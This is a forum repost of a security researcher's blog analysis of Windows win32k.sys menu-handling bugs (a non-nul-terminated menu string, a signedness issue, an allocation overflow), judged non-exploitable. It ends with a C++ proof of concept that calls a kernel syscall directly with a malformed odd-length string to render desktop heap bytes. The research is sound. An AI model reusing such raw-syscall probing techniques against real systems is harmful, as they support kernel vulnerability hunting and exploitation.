Jump to content
Nytro

Windows win32k.sys menus and some "close, but no cigar" bugs

Recommended Posts

[h=2]Windows win32k.sys menus and some "close, but no cigar" bugs[/h]

Welcome after one of the more lengthy breaks in the blog’s activity. Today, I would like to discuss none other than several interesting weaknesses around the implementation of menus (like, window menus) in the core component of the Microsoft Windows kernel – the infamous win32k.sys driver, also known as the “Java of Windows” in terms of overall security posture.

Now, menus have been a part of the Windows graphical interface since the very beginning of the operating system existence. The implementation became part of the Windows kernel at the time of porting a majority of the Windows manager (User) subsystem to a ring-0 component during Windows NT 4.0 development. The functionality consists of user-facing (i.e. the NtUserThunkedMenuInfo and NtUserThunkedMenuItemInfo system calls) and rendering portions of code; I have found several bugs or problems in both areas. First of all, let’s start with the win32k!xxxSetLPITEMInfo function, which can be generally reached through the two following call chains in Windows 7 x86:

NtUserThunkedMenuItemInfo ? xxxInsertMenuItem ? xxxSetLPITEMInfo

or

NtUserThunkedMenuItemInfo ? xxxSetMenuItemInfo ? xxxSetLPITEMInfo

The routine itself is responsible for setting up an ITEM structure, which describes a single menu item and is defined as follows for the previously stated platform:

2: kd> dt win32k!tagITEM
+0x000 fType : Uint4B
+0x004 fState : Uint4B
+0x008 wID : Uint4B
+0x00c spSubMenu : Ptr32 tagMENU
+0x010 hbmpChecked : Ptr32 Void
+0x014 hbmpUnchecked : Ptr32 Void
+0x018 lpstr : Ptr32 Uint2B
+0x01c cch : Uint4B
+0x020 dwItemData : Uint4B
+0x024 xItem : Uint4B
+0x028 yItem : Uint4B
+0x02c cxItem : Uint4B
+0x030 cyItem : Uint4B
+0x034 dxTab : Uint4B
+0x038 ulX : Uint4B
+0x03c ulWidth : Uint4B
+0x040 hbmp : Ptr32 HBITMAP__
+0x044 cxBmp : Int4B
+0x048 cyBmp : Int4B
+0x04c umim : tagUAHMENUITEMMETRICS

Among other characteristics, the structure stores a pointer to the string displayed on top of the menu item. The string associated with a new menu item being initialized is passed through a user-mode UNICODE_STRING structure pointer, the contents of which are then copied to kernel-mode memory using the following code (reverse-engineered pseudo code follows):

if (input_string->Buffer) {

menu_string = DesktopAlloc(menu->head.rpdesk, input_string->Length + sizeof(WCHAR), 8);

if (!menu_string) {

return 0;

}

memcpy(menu_string, input_string->Buffer, input_string->Length);

string_length = input_string->Length / sizeof(WCHAR);

}

As can be seen, the function allocates a buffer of size “Length + 2? but only initializes the first “Length” bytes. While nul termination is guaranteed by DesktopAlloc (which indeed zeroes out the allocation region before passing it back to the caller), the code still relies on the assumption that “Length” is an even value. Note that none of its top-level callers nor xxxSetLPITEMInfo explicitly enforces this assumption, enabling an attacker to specify a unicode string consisting of an odd number of bytes and have it processed by the code, potentially leading to the following layout of kernel-mode menu string allocation: ?

[TABLE]

[TR]

[TD=class: gutter]1

[/TD]

[TD=class: code][[0x41][0x41]] [[0x41][0x41]] ... [[0x41][0x00]] [[0x00][???]] [[???][???]] ...

[/TD]

[/TR]

[/TABLE]

Note that the last two allocation bytes are still zero, but they span across two wide characters, while the second byte of the (supposedly) last character is not defined and doesn’t necessarily have to be 0×00. Therefore, we could provoke the allocation of a non-nul-terminated unicode string for the menu item, and although there is a “cch” field in the ITEM structure which specifies the actual length of the string, it is not taken into consideration while rendering the textual string. As a result, it is possible to get win32k.sys to disclose junk bytes from the Desktop Heap onto the display and into user-mode, as shown below: win32k_menus.jpgJunk desktop heap bytes rendered by win32k.sys

This condition is one of the most typical errors found in the Windows kernel and related to unicode strings – it has been already discussed in my “A story of win32k!cCapString, or unicode strings gone bad” blog post, and was the root cause of at least one Denial of Service vulnerability in the implementation of Windows registry (CVE-2010-0235, advisory here). Causing the kernel to draw unicode artifacts over menu items is quite amusing itself, but it turns out that the contents of the Desktop Heap are not kept secret from user-mode applications; in fact, the heap is even mapped into the ring-3 virtual address space of GUI processes. The observation can prove useful in certain scenarios (e.g. while trying to map controlled bytes into a privileged process running within the same desktop, as shown in “CVE-2011-1281: A story of a Windows CSRSS Privilege Escalation vulnerability”), but here makes the bug a non-issue (as officially confirmed by MSRC). However, the problem was quite close to becoming very helpful in the exploitation of another potential vulnerability. [h=2]Signedness issue in win32k!xxxDrawMenuItemText[/h] On the rendering side of things, the xxxDrawMenuItemText routine plays a very important role. Its overall declaration is rather complicated and not relevant to the discussed problem, but the one important point is that the 7th parameter stores the length of the string (in characters) to be displayed as a signed integer, and is used to determine whether a stack buffer or a dynamic pool allocation should be used to store the input string (using, of course, a signed comparison). The phenomenon is better illustrated in the following C-like pseudo code listing:

The signedness of the integer is indeed confirmed by the assembly instruction used:

.text:0020C8E6                 cmp     ebx, 0FFh.text:0020C8EC                 jl      short loc_20C927.text:0020C8EE                 push    74727355h       ; Tag.text:0020C8F3                 lea     ecx, ds:2[ebx*2].text:0020C8FA                 push    ecx             ; NumberOfBytes.text:0020C8FB                 push    21h             ; PoolType.text:0020C8FD                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)

In case you were wondering, 64-bit versions of Windows are similarly affected:

.text:FFFFF97FFF20C5FA                 cmp     edi, 0FFh.text:FFFFF97FFF20C600                 jl      short loc_FFFFF97FFF20C637.text:FFFFF97FFF20C602                 lea     ecx, [rdi+1].text:FFFFF97FFF20C605                 mov     edx, 74727355h.text:FFFFF97FFF20C60A                 movsxd  rcx, ecx.text:FFFFF97FFF20C60D                 add     rcx, rcx.text:FFFFF97FFF20C610                 call    Win32AllocPool

At first glance, this sounds like the perfect situation with great potential for a stack-based buffer overflow right inside of win32k.sys, provided we are able to set the 7th function parameter to a negative value. In theory, this should not be possible due to the fact that the length of any menu item text is limited by the 16-bit width of the UNICODE_STRING.Length field used to set up the menu item in the first place (in this case, the limit is 32767 characters, which is nowhere near 2147483648 required to overflow the positive integer range). However, it turns out that the “Length” parameter of the affected function is not taken from the limited ITEM.cch field, but rather calculated in the following manner: ?

[TABLE]

[TR]

[TD=class: gutter]1

[/TD]

[TD=class: code]min(FindCharPosition(lpItem->lpstr, L'\8'), FindCharPosition(lpItem->lpstr, L'\t'))

[/TD]

[/TR]

[/TABLE]

where the FindCharPosition is a trivial wcschr-like function searching for a specific character from the beginning of a string, completing upon finding the desired character or encountering a unicode nul. This obviously opens up room for some potential abuse – by making use of the previous bug allowing lack of nul termination, we could potentially try to grow the Desktop Heap to 4GB+ (two billion wide characters) and hope that none of the {0×0000, 0×0008, 0×0009} words would occur at even offsets starting from the beginning of menu item text allocation. It is not clear whether one could increase the size of the desktop heap to as much as several gigabytes (if at all, this would only be possible on 64-bit platforms) and additionally satisfy the “no special characters inside” requirement, but even if that was possible, it still turns out that the bug would not be exploitable. Due to the fact that the GetPrefixCount function called by xxxDrawMenuItemText also operates on signed integers and does it in a way that prevents any kind of memory corruption:

DWORD GetPrefixCount(signed int length, PWCHAR buffer, ...) {

if (length > 0) {

// fill out "buffer"

}

*buffer = L'\0';

// return

}

To date, I believe that none of the functions called subsequently by xxxDrawMenuItemText can cause stack corruption and write beyond the local buffer; however, my feeling is that the impossibility of exploitation is purely accidental, and a very slight change of a parameter type in any of the involved functions may suddenly introduce a very severe vulnerability. In other words, this is something the security community should definitely keep an eye on across new versions of Windows. :-) One last potential problem with the function is the calculation of a dynamic buffer size in the line:

.text:0020C8F3 lea ecx, ds:2[ebx*2] For Length=0x7fffffff (and above), the allocation size overflows and becomes 0×0 on 32-bit platforms; however, it is physically impossible to allocate 4GB of kernel memory (required for a large enough string length) on x86 CPUs. On 64-bit platforms, the calculation is performed using 64-bit variables based on a sign-extended 32-bit length. As a result, the final ExAllocatePoolWithTag parameter becomes 0xffffffff00000000, which when casted back to an unsigned long long (or size_t, rather) is too large for the allocator to handle. Overall, my take is that Microsoft has been pretty lucky with the current shape of menu implementation – although there is a number of issues in the code, none of them are currently exploitable due to various architecture and system-specific limitations (likely not intentional or considered by the original win32k.sys developers). A subtle modification of the code path can potentially result in enabling practical exploitation of some or all of the problems; however, Microsoft has decided that the current lack of security impact renders the bugs not worth fixing. And that’s it for today. As a final word, it is worth mentioning that actual (exploitable) vulnerabilities were discovered in the menu implementation in the past, see Tavis Ormandy’s “Microsoft Windows win32k!xxxRealDrawMenuItem() missing HBITMAP bounds checks” advisory. Comments and feedback are welcome, especially if I happened to miss something in the analysis and any of the problems actually are exploitable. :-) Take care! [h=2]Proof of Concept[/h] The source code of a Proof of Concept program demonstrating the first issue (odd unicode string length) for Microsoft Windows 7 SP1 64-bit is shown below:

#include <cstdio>

#include <cstdlib>

#include <string>

#include <windows.h>

#include <uxtheme.h>

#pragma comment(lib, "GDI32")

#pragma comment(lib, "USER32")

#pragma comment(lib, "UXTHEME")

//---------------------------------------------------------------------------

#ifndef MFS_CACHEDBMP

# define MFS_CACHEDBMP 0x20000000L

#endif

//---------------------------------------------------------------------------

typedef struct _LSA_UNICODE_STRING {

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

extern "C" {

VOID WINAPI RtlInitUnicodeString(

PUNICODE_STRING DestinationString,

PCWSTR SourceString

);

} // extern "C"

//---------------------------------------------------------------------------

#define __NR_NtUserThunkedMenuItemInfo 0x1098

#define SYSCALL_ARG(x) ((__int64)(x))

BYTE SyscallCode[] = "\x4C\x8B\xD1" // MOV R10, RCX

"\xB8\x00\x00\x00\x00" // MOV EAX,

"\x0F\x05" // SYSENTER

"\xC3"; // RET

PBYTE SyscallCodePtr = SyscallCode;

ULONG (*SystemCall)(__int64 Argument1, __int64 Argument2, __int64 Argument3, __int64 Argument4,

__int64 Argument5, __int64 Argument6, __int64 Argument7, __int64 Argument8);

ULONG CallService(DWORD ServiceId, __int64 Argument1, __int64 Argument2, __int64 Argument3,

__int64 Argument4, __int64 Argument5, __int64 Argument6, __int64 Argument7,

__int64 Argument8) {

memcpy(&SyscallCode[4], &ServiceId, sizeof(DWORD));

return SystemCall(Argument1, Argument2, Argument3, Argument4,

Argument5, Argument6, Argument7, Argument8);

}

//---------------------------------------------------------------------------

LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);

//---------------------------------------------------------------------------

DWORD WINAPI CreateHostWindow(LPVOID lpParameter) {

CONST CHAR class_name[] = "TEST_CLASS_NAME";

CONST CHAR wnd_title[] = "TEST_WND_TITLE";

HINSTANCE instance = GetModuleHandle(NULL);

WNDCLASSEX wndclsex;

MSG msg;

wndclsex.cbSize = sizeof(WNDCLASSEX);

wndclsex.style = CS_HREDRAW | CS_VREDRAW;

wndclsex.lpfnWndProc = WndProc;

wndclsex.cbClsExtra = 0;

wndclsex.cbWndExtra = 0;

wndclsex.hInstance = instance;

wndclsex.hIcon = LoadIcon(NULL, IDI_APPLICATION);

wndclsex.hCursor = LoadCursor(NULL, IDC_ARROW);

wndclsex.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);

wndclsex.lpszMenuName = NULL;

wndclsex.lpszClassName = class_name;

wndclsex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);

RegisterClassEx(&wndclsex);

// Possibly disable themes for current session

if (IsThemeActive()) {

EnableTheming(FALSE);

}

// An equivalent of in the form of a system call, which enables

// us to pass a raw UNICODE_STRING structure follows:

//

// AppendMenu(menu, MF_STRING, kMenuId, "menu test");

//

HMENU menu = CreateMenu();

MENUITEMINFOW info = { sizeof MENUITEMINFOW, // UINT cbSize

MIIM_STRING, // UINT fMask

MFT_STRING, // UINT fType

MFS_ENABLED, // UINT fState

0, // UINT wID

NULL, // HMENU hSubMenu

NULL, // HBITMAP hbmpChecked

NULL, // HBITMAP hbmpUnchecked

0, // ULONG_PTR dwItemData

NULL, // LPTSTR dwTypeData (ignored)

0, // UINT cch (ignored)

NULL }; // HBITMAP hbmpItem

UNICODE_STRING item;

RtlInitUnicodeString(&item, L"menu test");

item.Length = 0xf - 0x2;

CallService(__NR_NtUserThunkedMenuItemInfo,

SYSCALL_ARG(menu), // HMENU hMenu

SYSCALL_ARG(1), // UINT nPosition

SYSCALL_ARG(TRUE), // BOOL fByPosition

SYSCALL_ARG(TRUE), // BOOL fInsert

SYSCALL_ARG(&info), // LPMENUITEMINFOW lpmii

SYSCALL_ARG(&item), // PUNICODE_STRING pstrItem

0, 0);

HWND hwnd = CreateWindowEx(WS_EX_OVERLAPPEDWINDOW,

class_name,

wnd_title,

WS_OVERLAPPEDWINDOW | WS_VISIBLE,

0, 0, 640, 480,

NULL,

menu,

instance,

NULL);

UpdateWindow(hwnd);

while (GetMessage(&msg, NULL, 0, 0)) {

TranslateMessage(&msg);

DispatchMessage(&msg);

}

return 0;

}

//---------------------------------------------------------------------------

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {

switch(msg) {

case WM_DESTROY:

PostQuitMessage(WM_QUIT);

break;

default:

return DefWindowProc(hwnd, msg, wparam, lparam);

}

return 0;

}

//---------------------------------------------------------------------------

int main() {

// Set syscall stub permissions.

DWORD OldProtect;

VirtualProtect(SyscallCode, sizeof(SyscallCode), PAGE_EXECUTE_READWRITE, &OldProtect);

memcpy(&SystemCall, &SyscallCodePtr, sizeof(PVOID));

// Create host window.

HANDLE hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CreateHostWindow, NULL, 0, NULL);

CloseHandle(hthread);

// Terminate local thread.

ExitThread(EXIT_SUCCESS);

return EXIT_SUCCESS;

}

Sursa: Windows win32k.sys menus and some “close, but no cigar” bugs | j00ru//vx tech blog

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...